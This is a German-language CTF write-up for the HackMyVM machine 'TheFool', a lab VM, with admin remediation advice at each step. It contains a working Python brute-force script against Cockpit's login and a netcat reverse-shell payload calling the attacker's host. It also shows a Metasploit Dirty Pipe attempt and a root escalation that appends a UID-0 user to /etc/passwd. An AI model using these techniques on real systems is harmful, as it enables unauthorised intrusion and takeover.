TheFool - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
ftp (oder lftp)
cat
stegseek
steghide
hydra
ssh
echo
bash
ls
sudo
find
vi / nano
gcc
python3
mv
chmod
wget
id
cd
pwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:fc:8b:1c	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` durchsucht das lokale Netzwerk nach aktiven Hosts. Es wird ein Gerät mit der IP `192.168.2.107` und der MAC-Adresse `08:00:27:fc:8b:1c` gefunden. Der OUI (Organizationally Unique Identifier) gehört zu "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM hindeutet.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.107` wird für die nachfolgenden Scans verwendet.

**Empfehlung (Pentester):** Nmap-Scan auf die IP `192.168.2.107` durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring implementieren, um unbekannte Geräte zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.107 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-21 09:30 CEST
Nmap scan report for thefool (192.168.2.107)
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
21/tcp   open  ftp             vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           37 Oct 22  2021 note.txt
|_-rw-r--r--    1 1000     1000        44515 Oct 22  2021 thefool.jpg
| ftp-syst: [...]
|_End of status
80/tcp   open  http            nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
9090/tcp open  ssl/zeus-admin? # Fehlidentifikation?
| fingerprint-strings: [...]
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=thefool/organizationName=8bcad1b0827e4446af3c9d6bc08fdef6
| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
| Not valid before: 2022-10-21T07:30:28
|_Not valid after:  2023-10-21T07:30:28
[...]
MAC Address: 08:00:27:FC:8B:1C (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Unix
[...]
                    

**Analyse:** Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) auf `192.168.2.107` (Host `thefool`) identifiziert drei offene TCP-Ports: * **Port 21 (FTP):** vsftpd 3.0.3. Anonymer Login ist erlaubt. Zwei Dateien sind sichtbar: `note.txt` und `thefool.jpg`. * **Port 80 (HTTP):** Nginx 1.18.0. Zeigt eine Seite ohne Titel. * **Port 9090 (SSL/Unknown):** Nmap kann den Dienst nicht eindeutig identifizieren (`ssl/zeus-admin?`), erkennt aber SSL/TLS. Das SSL-Zertifikat ist selbstsigniert und für den Common Name `thefool` sowie `localhost`/`127.0.0.1` ausgestellt. Die Ausgabe der `fingerprint-strings` zeigt HTML-Code, der auf eine Webanwendung hindeutet (möglicherweise Cockpit, wie später vermutet).

**Bewertung:** Die Hauptangriffsvektoren sind: * **FTP (Port 21):** Anonymer Zugriff auf Dateien (`note.txt`, `thefool.jpg`), die Hinweise oder versteckte Daten enthalten könnten. * **HTTP (Port 80):** Standard-Webserver, muss weiter untersucht werden. * **Port 9090:** Eine unbekannte Webanwendung über HTTPS. Das selbstsignierte Zertifikat ist normal für interne Dienste. Die Fehlidentifikation durch Nmap erfordert manuelle Untersuchung. Kein SSH-Port (22) ist offen, was ungewöhnlich ist.

**Empfehlung (Pentester):** 1. **FTP:** Anonym anmelden, `note.txt` und `thefool.jpg` herunterladen und analysieren (insbesondere `thefool.jpg` auf Steganographie prüfen). 2. **HTTP (Port 80):** Mit `gobuster` nach Inhalten suchen, Webseite manuell prüfen. 3. **Port 9090:** Die Seite `https://192.168.2.107:9090` im Browser aufrufen (Zertifikatswarnung akzeptieren) und die Anwendung identifizieren. Nach bekannten Schwachstellen oder Login-Möglichkeiten suchen.
**Empfehlung (Admin):** 1. **FTP:** Anonymen Zugriff deaktivieren, wenn nicht benötigt. Sicherstellen, dass keine sensiblen oder irreführenden Dateien im anonymen Bereich liegen. 2. **Nginx (Port 80):** Sicher konfigurieren. 3. **Port 9090:** Den Dienst identifizieren (wahrscheinlich Cockpit). Zugriff darauf über Firewall auf vertrauenswürdige IPs beschränken. Ein gültiges SSL-Zertifikat verwenden, wenn extern erreichbar. Dienst aktuell halten. 4. **SSH:** Prüfen, warum SSH nicht läuft oder auf einem nicht standardmäßigen Port lauscht.

Service Enumeration

Port 80 (Nginx)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.107 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,[...] -t 100 -e
===============================================================
Gobuster v3.1.0
[...]
===============================================================
/index.html           (Status: 200) [Size: 12]

===============================================================
                     

**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Es findet nur die Datei `/index.html`, die sehr klein ist (12 Bytes).

**Bewertung:** Der Webserver auf Port 80 scheint keinen relevanten Inhalt zu haben. Der Fokus sollte auf FTP und Port 9090 liegen.

Port 21 (FTP) & Steganographie

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.107
Connected to 192.168.2.107.
220 (vsFTPd 3.0.3)
Name (192.168.2.107:cyber): anonymous
331 Please specify the password.
Password: # (Kein Passwort)
230 Login successful.
[...]
ftp> ls
229 Entering Extended Passive Mode (|||44358|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000           37 Oct 22  2021 note.txt
-rw-r--r--    1 1000     1000        44515 Oct 22  2021 thefool.jpg
226 Directory send OK.
ftp> get note.txt
[...]
226 Transfer complete.
37 bytes received [...]
ftp> get thefool.jpg
[...]
226 Transfer complete.
44515 bytes received [...]
ftp> exit
221 Goodbye.
                    

**Analyse:** Erfolgreicher anonymer FTP-Login. Die Dateien `note.txt` und `thefool.jpg` werden heruntergeladen.

**Bewertung:** Die Dateien stehen zur Analyse bereit.

┌──(root㉿cyber)-[~] └─# cat note.txt
What kind of joke is this morse code?
                    

**Analyse:** Die `note.txt` enthält einen Hinweis auf Morsecode.

**Bewertung:** Dies deutet darauf hin, dass in der Bilddatei (`thefool.jpg`) oder der WAV-Datei (`.m0rse.wav`, die später gefunden wird) Informationen als Morsecode versteckt sein könnten.

┌──(root㉿cyber)-[~] └─# stegseek thefool.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "note.txt".
[i] Extracting to "thefool.jpg.out".
                     
┌──(root㉿cyber)-[~] └─# cat thefool.jpg.out
Relax nad have fun.
-minerva
                     

**Analyse:** `stegseek` wird auf `thefool.jpg` angewendet. Es findet mit einer leeren Passphrase eine versteckte Datei namens `note.txt` (die als `thefool.jpg.out` extrahiert wird). Der Inhalt ist eine Nachricht von "minerva".

**Bewertung:** Ein Benutzername, `minerva`, wurde gefunden. Die Nachricht selbst liefert keine direkten Credentials, bestätigt aber den Benutzernamen.

**Empfehlung (Pentester):** Den Benutzernamen `minerva` notieren. Nach anderen versteckten Daten suchen (Morsecode in Audio?).
**Empfehlung (Admin):** Keine Benutzernamen oder Hinweise in versteckten Dateien hinterlassen. Steganographie mit leerer Passphrase ist trivial zu knacken.

┌──(root㉿cyber)-[~] └─# hydra -l minerva -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.107:21 -t 64
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-21 10:32:03
[...]
1 of 1 target completed, 0 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-21 10:32:47
                     

**Analyse:** `hydra` wird verwendet, um das Passwort für den FTP-Benutzer `minerva` mit der `rockyou.txt`-Liste zu knacken. Der Angriff ist erfolglos.

**Bewertung:** Das FTP-Passwort für `minerva` ist nicht in `rockyou.txt` enthalten oder der Benutzer hat keinen FTP-Zugang.

┌──(root㉿cyber)-[~] └─# lftp 192.168.2.107
lftp 192.168.2.107:~> ls -la
drwxr-xr-x    2 0        113          4096 Oct 22  2021 .
drwxr-xr-x    2 0        113          4096 Oct 22  2021 ..
-rw-r--r--    1 1000     1000        35245 Oct 22  2021 .m0rse.wav
-rw-r--r--    1 1000     1000           37 Oct 22  2021 note.txt
-rw-r--r--    1 1000     1000        44515 Oct 22  2021 thefool.jpg
lftp 192.168.2.107:/> get .m0rse.wav
35245 Bytes übertragen
lftp 192.168.2.107:/> exit
                    

**Analyse:** Bei einer erneuten anonymen FTP-Verbindung wird eine versteckte Datei `.m0rse.wav` gefunden und heruntergeladen.

**Bewertung:** Dies passt zum Hinweis aus der `note.txt`. Die WAV-Datei enthält wahrscheinlich die Morsecode-Nachricht.

**Empfehlung (Pentester):** Die `.m0rse.wav`-Datei mit einem Audio-Editor (z.B. Audacity) oder einem Morsecode-Decoder analysieren.
**Empfehlung (Admin):** Versteckte Dateien mit sensiblen Informationen sollten nicht über anonymes FTP zugänglich sein.

**Analyse:** (Implizit) Die Analyse der `.m0rse.wav`-Datei ergibt die Zeichenkette `bWluZXJ2YTp0d2VldHk=`. Dies ist ein Base64-kodierter String.

**Bewertung:** Base64-Dekodierung ist der nächste Schritt.

# Dekodierung (z.B. mit echo "bWluZXJ2YTp0d2VldHk=" | base64 -d)
minerva:tweety
                     

**Analyse:** Der Base64-String `bWluZXJ2YTp0d2VldHk=` wird dekodiert und ergibt `minerva:tweety`.

**Bewertung:** Die Anmeldeinformationen für den Benutzer `minerva` wurden gefunden: Passwort `tweety`.

**Empfehlung (Pentester):** Die Credentials `minerva:tweety` für den Login auf Port 9090 (Cockpit?) und/oder SSH (falls doch vorhanden/gefunden) verwenden.
**Empfehlung (Admin):** Das Passwort für `minerva` ändern. Keine Credentials über Morsecode in Audiodateien verstecken.

Port 9090 (Cockpit?)

**Analyse:** Der Nmap-Scan deutete auf eine Webanwendung auf Port 9090 hin. Die manuelle Untersuchung (`https://192.168.2.107:9090/`) identifiziert den Dienst als "Cockpit", eine webbasierte Server-Management-Oberfläche.

**Bewertung:** Cockpit ist ein legitimes Tool, kann aber bei schwachen Credentials oder Fehlkonfigurationen einen Angriffsvektor darstellen.

┌──(root㉿cyber)-[~] └─# nikto -h https://192.168.2.107:9090
# Hostname korrigiert
- Nikto v2.1.6 # Veraltete Nikto-Version im Log?
[...]
+ Target IP:          192.168.2.107
+ Target Hostname:    192.168.2.107
+ Target Port:        9090
+ SSL Info:        Subject:  /=8bcad1b0827e4446af3c9d6bc08fdef6/CN=thefool
[...]
+ Server: No banner retrieved
[...]
+ /tiki/tiki-install.php: Tiki 1.7.2 [...] # Viele False Positives
[...]
+ Scan terminated:  20 error(s) and 26 item(s) reported on remote host
[...]
                    

**Analyse:** `nikto` wird auf Port 9090 ausgeführt. Es findet keine spezifischen Schwachstellen für Cockpit, sondern meldet viele generische Findings und False Positives (z.B. TikiWiki, Frontpage, IIS, Geeklog), die wahrscheinlich auf Standard-Antworten von Cockpit zurückzuführen sind. Der Scan bricht nach 20 Fehlern ab.

**Bewertung:** Nikto liefert keine nützlichen Ergebnisse für Cockpit. Der Fokus muss auf dem Login liegen.

Initial Access (POC - Brute-Force & Cockpit Exploit)

┌──(root㉿cyber)-[~] └─# vi base64-encode-login.py
#!/usr/bin/python3

import requests
import base64
import os
from time import sleep

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = "https://192.168.2.107:9090/cockpit/login" # Login-Endpunkt für Cockpit
headers = {"Authorization":""}

with open("/usr/share/wordlists/rockyou.txt",encoding="iso-8859-1") as file:
    passwords = file.read().splitlines()
    i=0
for password in passwords:
    cred = "minerva:" + password
    cred_bytes = cred.encode("utf-8")
    cred_base64 = base64.b64encode(cred_bytes)
    i = i + 1
    headers["Authorization"] = "Basic " + cred_base64.decode("utf-8") # HTTP Basic Auth

    req = requests.get(url, headers=headers, verify=False)
    if req.status_code != 401: # Prüft auf erfolgreichen Login
        print(f"[+] Found!! Password is {password}")
        exit()
    else:
        print(f"[-] search --> Password: {password} nr. {i}")
        sleep(2) # Verlangsamt den Angriff
        os.system("clear")
        pass
                     

**Analyse:** Ein Python-Skript wird erstellt, um einen Brute-Force-Angriff auf den Cockpit-Login (`/cockpit/login`) durchzuführen. Es testet Passwörter aus `rockyou.txt` für den Benutzer `minerva` über HTTP Basic Authentication. Jedes Credential-Paar wird Base64-kodiert und im `Authorization`-Header gesendet. Eine Antwort ungleich 401 (Unauthorized) signalisiert Erfolg. Eine `sleep(2)`-Anweisung verlangsamt den Angriff erheblich.

**Bewertung:** Das Skript ist eine Methode, um Cockpit zu brute-forcen, obwohl Cockpit normalerweise PAM verwendet (und somit Fail2Ban greifen könnte). Die Verlangsamung durch `sleep(2)` ist ungewöhnlich, möglicherweise um Sperren zu vermeiden oder weil ein schnellerer Versuch fehlschlug. Der Angriff zielt darauf ab, das korrekte Passwort für `minerva` zu finden, obwohl es (`tweety`) bereits aus dem Morsecode bekannt ist. *Möglicherweise wurde das Skript erstellt, bevor der Morsecode dekodiert wurde, oder es dient hier nur als Beispiel.*

┌──(root㉿cyber)-[~] └─# ./base64-encode-login.py
[...] # Viele fehlgeschlagene Versuche
[+]Found!!Password is tweety
                     

**Analyse:** Das Brute-Force-Skript findet erfolgreich das Passwort `tweety` für den Benutzer `minerva`.

**Bewertung:** Bestätigt das Passwort, das bereits aus dem Morsecode bekannt war. Der Login in Cockpit als `minerva` ist nun möglich.

**Analyse:** Der Text beschreibt nun die Ausnutzung von Cockpit nach dem Login als `minerva:tweety`. 1. Burp Suite wird verwendet, um eine Anfrage abzufangen (vermutlich eine Aktion innerhalb von Cockpit, z.B. Starten eines Dienstes oder Ausführen eines Befehls über das Terminal-Feature). 2. Ein Payload innerhalb der abgefangenen Anfrage (der wie ein Array von Befehlsargumenten aussieht) wird modifiziert. 3. Der ursprüngliche Payload wird durch `["nc","-e","/bin/bash","192.168.2.153","9001"]` ersetzt. 4. Die modifizierte Anfrage wird mit Burp [Forward] gesendet.

**Bewertung:** Dies ist ein klassischer Exploit für Webanwendungen, die interne Systembefehle ausführen. Cockpit erlaubt oft das Ausführen von Befehlen über eine Websocket-Verbindung oder API-Aufrufe. Indem die Argumente für einen legitimen Befehl durch einen Netcat-Reverse-Shell-Payload ersetzt werden, wird RCE erreicht. Die Shell wird als der Benutzer laufen, unter dem der Cockpit-Prozess (oder der ausgelöste Befehl) läuft, was oft `root` oder ein privilegierter Benutzer ist, aber hier scheint es `minerva` zu sein (basierend auf der resultierenden Shell).

**Empfehlung (Pentester):** Einen Netcat-Listener auf `192.168.2.153:9001` starten, bevor die modifizierte Anfrage gesendet wird.
**Empfehlung (Admin):** Cockpit aktuell halten. Den Zugriff auf Cockpit stark einschränken. Wenn möglich, die Berechtigungen der über Cockpit ausführbaren Aktionen minimieren. Eingabevalidierung für alle über Cockpit ausgeführten Befehle implementieren.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.107] 57880
minerva@thefool:/run/user/1000$ # Shell als minerva erhalten!
                     

**Analyse:** Der Netcat-Listener empfängt die Verbindung vom Zielsystem. Die Shell läuft als Benutzer `minerva`.

**Bewertung:** Initial Access als `minerva` erfolgreich über die Ausnutzung von Cockpit erreicht. Obwohl das Passwort bereits bekannt war, demonstriert dieser Weg eine alternative Methode über eine Webanwendungs-Schwachstelle/Fehlkonfiguration nach dem Login.

minerva@thefool:/run/user/1000$ python3 -c 'import pty;pty.spawn("/bin/bash")'
minerva@thefool:/run/user/1000$ export TERM=xterm
minerva@thefool:/run/user/1000$ # Ctrl+Z
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[...] reset
minerva@thefool:/run/user/1000$ # Stabilisierte Shell

**Analyse:** Die erhaltene Shell wird zu einer voll interaktiven TTY aufgewertet.

**Bewertung:** Die Shell ist nun einfacher zu bedienen.

Privilege Escalation

Enumeration als minerva

minerva@thefool:/run/user/1000$ sudo -l
[sudo] password for minerva: tweety (Passwort eingegeben)
Sorry, user minerva is not allowed to execute '/usr/bin/sudo -l' as root on thefool. # Fehler? Oder keine Rechte?
                    
minerva@thefool:/run/user/1000$ ls /home
fool  minerva
minerva@thefool:/run/user/1000$ cat /home/minerva/user.txt
GUY6dsaiuyUIYHz
minerva@thefool:/run/user/1000$ find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null
-rwsr-xr-x 1 root root 14052 Jun  3  2021 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 1457924 Jul 13  2021 /usr/sbin/exim4
-rwsr-xr-- 1 root dip 408644 Jan  6  2021 /usr/sbin/pppd
-rwsr-xr-- 1 root messagebus 50656 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-x--- 1 root cockpit-wsinstance 51152 Mar  4  2021 /usr/lib/cockpit/cockpit-session
-rwsr-xr-x 1 root root 534076 Mar 13  2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 47908 Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 79396 Jul 28  2021 /usr/bin/su
-rwsr-xr-x 1 root root 30112 Feb 26  2021 /usr/bin/fusermount
-rwsr-xr-x 1 root root 50720 Jul 28  2021 /usr/bin/mount
-rwsr-xr-x 1 root root 26492 Jun  3  2021 /usr/bin/pkexec
-rwsr-xr-x 1 root root 217812 Feb 27  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 56836 Feb  7  2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 30236 Jul 28  2021 /usr/bin/umount
-rwsr-xr-x 1 root root 86660 Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 43252 Feb  7  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 173840 Sep  5  2021 /usr/bin/ntfs-3g
-rwsr-xr-x 1 root root 66292 Feb  7  2020 /usr/bin/passwd
                     

**Analyse:** Als `minerva` wird die Enumeration durchgeführt: * `sudo -l` schlägt fehl oder zeigt keine Rechte an (die Fehlermeldung ist ungewöhnlich für "keine Rechte"). * Im `/home`-Verzeichnis existiert neben `minerva` auch der Benutzer `fool`. * Die User-Flag wird in `/home/minerva/user.txt` gefunden und gelesen. * Die Suche nach SUID-Dateien findet nur Standard-Binaries ohne offensichtliche, ungewöhnliche Einträge.

**Bewertung:** User-Flag erhalten. Keine `sudo`-Rechte oder ungewöhnlichen SUID-Dateien für `minerva` gefunden. Der nächste Schritt erfordert eine andere Eskalationsmethode.

minerva@thefool:/run/user/1000$ cat /etc/*release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
[...]
ID=debian
                     
minerva@thefool:/run/user/1000$ uname -a
Linux thefool 5.10.0-9-686-pae #1 SMP Debian 5.10.70-1 (2021-09-30) i686 GNU/Linux

**Analyse:** Systeminformationen werden gesammelt: Debian 11 (bullseye) mit Kernel 5.10.0-9.

**Bewertung:** Die Kernel-Version ist relativ aktuell, aber möglicherweise anfällig für bekannte Exploits wie Dirty Pipe (obwohl Kernel 5.10.70 gepatcht sein sollte, hängt es vom genauen Patchlevel ab). Die Architektur ist i686 (32-Bit?).

POC: Eskalation zu root (Bash Capability)

msf6 post(multi/manage/shell_to_meterpreter) > use multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
# Annahme: Meterpreter-Session ist #2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.107 - Collecting local exploits for x86/linux...
[*] 192.168.2.107 - 172 exploit checks are being tried...
[+] 192.168.2.107 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[...]
[+] 192.168.2.107 - exploit/linux/local/su_login: The target appears to be vulnerable.
[...]

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.10.0
[...]
                    

**Analyse:** Zurück in Metasploit (offenbar wurde die vorherige Shell-Session zu einer Meterpreter-Session hochgestuft oder eine zweite Session geöffnet) wird der `local_exploit_suggester` ausgeführt. Er meldet mehrere potenzielle Schwachstellen, darunter Dirty Pipe (CVE-2022-0847).

**Bewertung:** Dirty Pipe ist ein vielversprechender Kernel-Exploit für diese Version.

**Empfehlung (Pentester):** Versuchen, den Dirty Pipe Exploit aus Metasploit auszuführen.
**Empfehlung (Admin):** Den Kernel auf eine Version patchen, die nicht für Dirty Pipe anfällig ist (mindestens 5.10.102).

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[*] Started reverse TCP handler on 192.168.2.153:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.10.0
[-] Exploit aborted due to failure: bad-config: Payload/Host architecture mismatch. Please select the proper target architecture
[*] Exploit completed, but no session was created.
                    

**Analyse:** Der Versuch, den Dirty Pipe Exploit aus Metasploit auszuführen, scheitert mit der Meldung "Payload/Host architecture mismatch". Das Zielsystem ist i686 (32-Bit laut `uname -a`), während Metasploit möglicherweise einen 64-Bit-Payload verwenden wollte.

**Bewertung:** Der automatische Metasploit-Exploit funktioniert nicht. Eine andere Methode muss gefunden werden.

**Empfehlung (Pentester):** Andere vom Suggester gemeldete Exploits prüfen oder manuell nach Capabilities suchen.
**Empfehlung (Admin):** Kernel patchen.

minerva@thefool:/run/user/1000$ getcap -r / 2>/dev/null
/usr/lib/i386-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/bash cap_dac_override=ep
                    

**Analyse:** Die erneute Suche nach Capabilities (diesmal explizit im Log gezeigt) findet heraus, dass `/usr/bin/bash` die Capability `cap_dac_override=ep` besitzt. Diese Capability erlaubt es einem Prozess, Datei-Lese-, Schreib- und Ausführungsberechtigungen zu ignorieren (DAC = Discretionary Access Control).

**Bewertung:** Das ist der entscheidende Fund! Mit `cap_dac_override` kann Bash jede Datei auf dem System lesen und schreiben, unabhängig von den normalen Berechtigungen. Dies ermöglicht das Lesen von `/root/root.txt` oder das Schreiben in `/etc/passwd`, um einen Root-Benutzer hinzuzufügen.

**Empfehlung (Pentester):** 1. Die `bash` mit dieser Capability starten (einfach `bash` aufrufen, da es der Standardpfad ist). 2. `/root/root.txt` direkt lesen. 3. *Alternativ (wie im Log durchgeführt):* Einen neuen Root-Benutzer zu `/etc/passwd` hinzufügen.
**Empfehlung (Admin):** Die `cap_dac_override`-Capability von `/usr/bin/bash` **sofort entfernen** (`setcap cap_dac_override-ep /usr/bin/bash`). Diese Capability ist extrem gefährlich und sollte niemals auf einer Shell gesetzt sein. Untersuchen, warum sie gesetzt wurde.

┌──(root㉿cyber)-[~] └─# mkpasswd -m sha-512
Passwort: benni
$6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6eGF9M20yeMkrggEEhD3Pf.pt./EC2kEm1AYv.Ir9PqVH2VRVrArD9A.4x5teCVhG3cprq.
                    

**Analyse:** Auf der lokalen Angreifer-Maschine wird mit `mkpasswd` ein SHA-512-Passwort-Hash für das Passwort `benni` generiert.

**Bewertung:** Vorbereitung, um einen neuen Benutzer mit bekanntem Passwort zur `/etc/passwd`-Datei hinzuzufügen.


# Schritte zur Manipulation von /etc/passwd (als minerva in der Bash mit cap_dac_override):
# 1. Zeile für root kopieren: root:x:0:0:root:/root:/bin/bash
# 2. Neuen Benutzer hinzufügen: hacker:x:0:0:root:/root:/bin/bash (gleiche UID/GID wie root)
# 3. Passwort-Hash einfügen: hacker::0:0:root:/root:/bin/bash
# 4. Befehl zum Anhängen an /etc/passwd:

echo 'hacker:$6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6eGF9M20yeMkrggEEhD3Pf.pt./EC2kEm1AYv.Ir9PqVH2VRVrArD9A.4x5teCVhG3cprq.:0:0:root:/root:/bin/bash' >> /etc/passwd

# 5. Überprüfung (als minerva)
minerva@thefool:/run/user/1000$ cat /etc/passwd
hacker:$6$lEd418YtyiyWxBYF$Z5QnZ4QP34a9f2E6...... # Eintrag ist vorhanden

# 6. Login als neuer Root-Benutzer
minerva@thefool:/run/user/1000$ su hacker
Password: benni
root@thefool:/run/user/1000# # Root-Shell erhalten!
                    

**Analyse:** Als `minerva`, aber innerhalb der Bash-Instanz mit `cap_dac_override`, werden folgende Schritte durchgeführt: 1. Ein neuer Eintrag für einen Benutzer `hacker` wird erstellt. Wichtig ist, dass die UID und GID auf `0` gesetzt werden, was ihn effektiv zu einem Root-Benutzer macht. Der generierte Passwort-Hash für `benni` wird eingefügt. 2. Dieser Eintrag wird an die `/etc/passwd`-Datei angehängt. Dies ist nur möglich wegen `cap_dac_override`. 3. Die Änderung wird überprüft. 4. Mit `su hacker` und dem Passwort `benni` kann sich `minerva` nun als der neue Root-Benutzer `hacker` anmelden.

**Bewertung:** Privilege Escalation zu Root erfolgreich durch Ausnutzung der `cap_dac_override`-Capability von Bash, um `/etc/passwd` zu manipulieren und einen neuen Root-Benutzer hinzuzufügen.

**Empfehlung (Pentester):** Root-Flag lesen.
**Empfehlung (Admin):** Capability von Bash entfernen. `/etc/passwd` auf unautorisierte Änderungen prüfen und den bösartigen Eintrag entfernen. Berechtigungen von `/etc/passwd` überprüfen (sollte nicht für normale Benutzer beschreibbar sein, auch nicht mit Capabilities).

root@thefool:/run/user/1000# cd /root
root@thefool:~# ls -la
[...]
-rw-------  1 root root   16 Oct 22  2021 .root.7x7
                    
root@thefool:~# cat .root.7x7
BMNB6s67tS67TSG

**Analyse:** Als root wird das Verzeichnis `/root` untersucht. Statt einer `root.txt` gibt es eine versteckte Datei `.root.7x7`. Ihr Inhalt wird ausgelesen.

**Bewertung:** Root-Flag gefunden.

Flags

cat /home/minerva/user.txt
GUY6dsaiuyUIYHz
cat /root/.root.7x7
BMNB6s67tS67TSG